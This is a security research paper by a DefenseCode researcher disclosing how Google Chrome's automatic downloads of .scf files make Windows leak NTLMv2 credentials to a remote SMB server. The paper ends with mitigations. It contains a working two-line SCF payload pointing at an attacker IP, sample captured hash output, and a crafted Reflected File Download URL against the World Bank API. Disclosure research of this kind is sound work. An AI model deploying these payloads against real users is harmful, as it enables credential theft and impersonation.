Stealing Windows Credentials Using Google Chrome

Author/Researcher: Bosko Stankovic (bosko@defensecode.com)
http://www.defensecode.com

Attacks that leak authentication credentials using the SMB file sharing protocol on Windows OS are an ever-present issue, exploited in various ways but usually limited to local area networks. One of the rare research involving attacks over the internet was recently presented by Jonathan Brossard and Hormazd Billimoria at the Black Hat security conference[1] [2] in 2015. However, there have been no publicly demonstrated SMB authentication related attacks on browsers other than Internet Explorer and Edge in the past decade. This paper describes an attack which can lead to Windows credentials theft, affecting the default configuration of the most popular browser in the world today, Google Chrome, as well as all Windows versions supporting it.

The Problem

With its default configuration, Chrome browser will **automatically download files that it deems safe** without prompting the user for a download location but instead using the preset one. From a security standpoint, this feature is not an ideal behavior but any malicious content that slips through still requires a user to manually open/run the file to do any damage. However, what if the downloaded file requires no user interaction to perform malicious actions? Are there file types that can do that?

Windows Explorer Shell Command File or SCF (.scf) is a lesser known file type going back as far as Windows 98. Most Windows users came across it in Windows 98/ME/NT/2000/XP where it was primarily used as a *Show Desktop* shortcut. It is essentially a text file with sections that determine a command to be run (limited to running Explorer and toggling Desktop) and an icon file location. Taken as an example, this is how *Show Desktop* SCF file contents looked like:

```
[Shell]
Command=2
IconFile=explorer.exe,3

[Taskbar]
Command=ToggleDesktop
```

As with Windows shortcut LNK files, the icon location is automatically resolved when the file is shown in Explorer. Setting an icon location to a remote SMB server is a known attack vector that abuses the Windows automatic authentication feature when accessing services like remote file shares. But what is the difference between LNK and SCF from the attack standpoint? Chrome sanitizes LNK files by forcing a *.download* extension ever since Stuxnet[3] but does not give the same treatment to SCF files.

SCF file that can be used to trick Windows into an authentication attempt to a remote SMB server contains only two lines, as shown in the following example:

```
[Shell]
IconFile=\\170.170.170.170\icon
```

Once downloaded, the request is triggered **the very moment the download directory is opened** in Windows File Explorer to view the file, delete it or work with other files (which is pretty much inevitable). **There is no need to click or open the downloaded file – Windows File Explorer will automatically try to retrieve the "icon ".**

The remote SMB server set up by the attacker is ready to capture the victim's username and NTLMv2 password hash for offline cracking or relay the connection to an externally available service that accepts the same kind of authentication (e.g. Microsoft Exchange) to impersonate the victim without ever knowing the password. The captured information may look like the following:

```
[*] SMB Captured - 2017-05-15 13:10:44 +0200
NTLMv2 Response Captured from 173.203.29.182:62521 - 173.203.29.182
USER:Bosko DOMAIN:Master OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:98daf39c3a253bbe4a289e7a746d4b24
NT_CLIENT_CHALLENGE:01010000000000000e5f83e06fcdd201ccf26d91cd9e326e000000000200000000000000
0000000000
```

```
Bosko::Master:1122334455667788:98daf39c3a253bbe4a289e7a746d4b24:01010000000000000e5f83e06f
cdd201ccf26d91cd9e326e000000000200000000000000000000000
```

The above example shows a disclosure of victim's username, domain and NTLMv2 password hash.

It is worth mentioning that SCF files will appear extensionless in Windows Explorer regardless of file and folder settings. Therefore, file named picture.jpg.scf will appear in Windows Explorer as picture.jpg. This adds to inconspicuous nature of attacks using SCF files.

Impact

Password Disclosure

For users in Active Directory domains (corporate, government and other networks), password disclosure can have various impacts ranging from escalating internal network breaches to accessing externally available NTLM-enabled services and breaches based on password reuse.

For Windows 8/10 users that are using a Microsoft Account (MSA) instead of a local account, the password disclosure impacts all the Microsoft services that are integrated with the MSA SSO such as OneDrive, Outlook.com, Office 365, Office Online, Skype, Xbox Live and others. The common problem of password reuse can lead to more account breaches unrelated to MSA.

Regarding password cracking feasibility, this improved greatly in the past few years with GPU-based cracking. NetNTLMv2 hashcat benchmark for a single Nvidia GTX 1080 card is around 1600 MH/s. That's 1.6 billion hashes per second. For an 8-character password, GPU rigs of 4 such cards can go through an entire keyspace of upper/lower alphanumeric + most commonly used special characters (!@#$%&) in less than a day. With hundreds of millions leaked passwords resulted from several breaches in the past years (LinkedIn, Myspace), wordlist rule-based cracking can produce surprising results against complex passwords with more entropy.

The situation is even worse for Windows XP systems and networks where backwards compatibility with NTLMv1 has been explicitly enabled. In those cases, a downgrade attack can be performed forcing the client to authenticate with a weaker hash/protocol (such as NTLMv1 or even LM) instead of NTLMv2. This enables the attacker to capture a hash which can be cracked many times faster than NTLMv2 – in the case of LM often within seconds using precomputed tables for reversing cryptographic hash functions ("Rainbow tables").

SMB Relay Attacks

Organizations that allow remote access to services such as Microsoft Exchange (Outlook Anywhere) and use NTLM as authentication method, may be vulnerable to SMB relay attacks, allowing the

attacker to impersonate the victim, accessing data and systems without having to crack the password. This was successfully demonstrated by Jonathan Brossard [4] at the Black Hat security conference.

Under certain conditions (external exposure) an attacker may even be able to relay credentials to a domain controller on the victim's network and essentially get an internal access to the network.

Antivirus Handling of SCF

Naturally, when a browser fails to warn on or sanitize downloads of potentially dangerous file types, one relies on security solutions to do that work instead. We tested several leading antivirus solutions by different vendors to determine if any solution will flag the downloaded file as dangerous.

All tested solutions failed to flag it as anything suspicious, which we hope will change soon. SCF file analysis would be easy to implement as it only requires inspection of *IconFile* parameter considering there are no legitimate uses of SCF with remote icon locations.

Introducing New Attack Vectors

Although using social engineering to entice the victim to visit the attacker's website as well as open redirection and cross site scripting vulnerabilities on trusted websites are the most common attack vectors to deliver malicious files, for this attack I would like to add an often disregarded and lesser known vulnerability that could serve the same purpose, hoping it would bring attention to its impact.

Reflected File Download

First described by Oren Hafif[5] [6], the Reflected File Download vulnerability occurs when a specially crafted user input is reflected in the website response and downloaded by the user's browser when the certain conditions are met. It was initially used as an attack vector to trick the user into running malicious code (usually from a Windows batch file), based on the user's trust in the vulnerable domain.

Since SCF format is rather simple and our attack requires only two lines that can be preceded and followed by (almost) anything, it creates perfect conditions to be used with RFD.

RFD is usually aimed at RESTful API endpoints as they often use permissive URL mapping, which allows for setting the extension of the file in the URL path. Chrome will not download most of typical API response content types directly so these would have to be forced through a *download* attribute in *<a href=…* link tags. However, there are exceptions. Chrome uses MIME-sniffing with *text/plain* content type and if the response contains a non-printable character it will be downloaded as a file directly and automatically unless the "nosniff" directive is set.

This can be demonstrated on World Bank API, using the following URL:

```
http://api.worldbank.org/v2/country/indicator/iwantyourhash.scf?prefix=
%0A[Shell]%0AIconFile=\\170.170.170.170\test%0Alol=%0B&format=jsonp
```

Due to the non-printable character *%0B* Chrome will download the response as *iwantyourhash.scf* file. The moment the download directory containing the file is opened Windows will try to authenticate to the remote SMB server, disclosing the victim's authentication hashes.

Recommendations

In order to disable automatic downloads in Google Chrome, the following changes should be made: *Settings* -> *Show advanced settings* -> Check the *Ask where to save each file before downloading* option. Manually approving each download attempt significantly decreases the risk of NTLMv2 credential theft attacks using SCF files.

As SCF files still pose a threat the measures that need to be taken depend on affected users network environment and range from simple host level hardening and configuring perimeter firewall rules to applying additional security measures such as SMB packet signing and Extended Protection[7]. With the first two the goal is to prevent SMB traffic from leaving the corporate environment by blocking ports that can be used to initiate a connection with a potentially malicious Internet-based SMB server. When possible, SMB traffic should always be restricted to private networks.

Conclusion

Currently, the attacker just needs to entice the victim (using fully updated Google Chrome and Windows) to visit his web site to be able to proceed and reuse victim's authentication credentials. Even if the victim is not a privileged user (for example, an administrator), such vulnerability could pose a significant threat to large organisations as it enables the attacker to impersonate members of the organisation. Such an attacker could immediately reuse gained privileges to further escalate access and perform attacks on other users or gain access and control of IT resources.

We hope that the Google Chrome browser will be updated to address this flaw in the near future.

About DefenseCode

DefenseCode L.L.C. delivers products and services designed to analyze and test web, desktop and mobile applications for security vulnerabilities.

DefenseCode ThunderScan is a SAST (Static Application Security Testing, WhiteBox Testing) solution for performing extensive security audits of application source code. ThunderScan SAST performs fast and accurate analyses of large and complex source code projects delivering precise results and low false positive rate.

DefenseCode WebScanner is a DAST (Dynamic Application Security Testing, BlackBox Testing) solution for comprehensive security audits of active web applications. WebScanner will test a website's security by carrying out a large number of attacks using the most advanced techniques, just as a real attacker would.

Subscribe for free software trial on our website.

http://www.defensecode.com/

References:

[1][2] SMBv2: Sharing More Than Just Your Files
https://www.youtube.com/watch?v=a1dgOO9bALA
https://www.blackhat.com/docs/us-15/materials/us-15-Brossard-SMBv2-Sharing-More-Than-Just-Your-Files.pdf

[3] MS10-046 Shell LNK Code Execution - https://technet.microsoft.com/library/security/ms10-046

[4] Ménage à Trois Attack - https://youtu.be/a1dgOO9bALA?t=1438

[5][6] Reflected File Download - A New Web Attack Vector
https://www.youtube.com/watch?v=dl1BJUNk8V4
https://drive.google.com/file/d/0B0KLoHg_gR_XQnV4RVhlNl96MHM/view

[7] Extended Protection for Authentication - https://support.microsoft.com/en-us/help/968389/extended-protection-for-authentication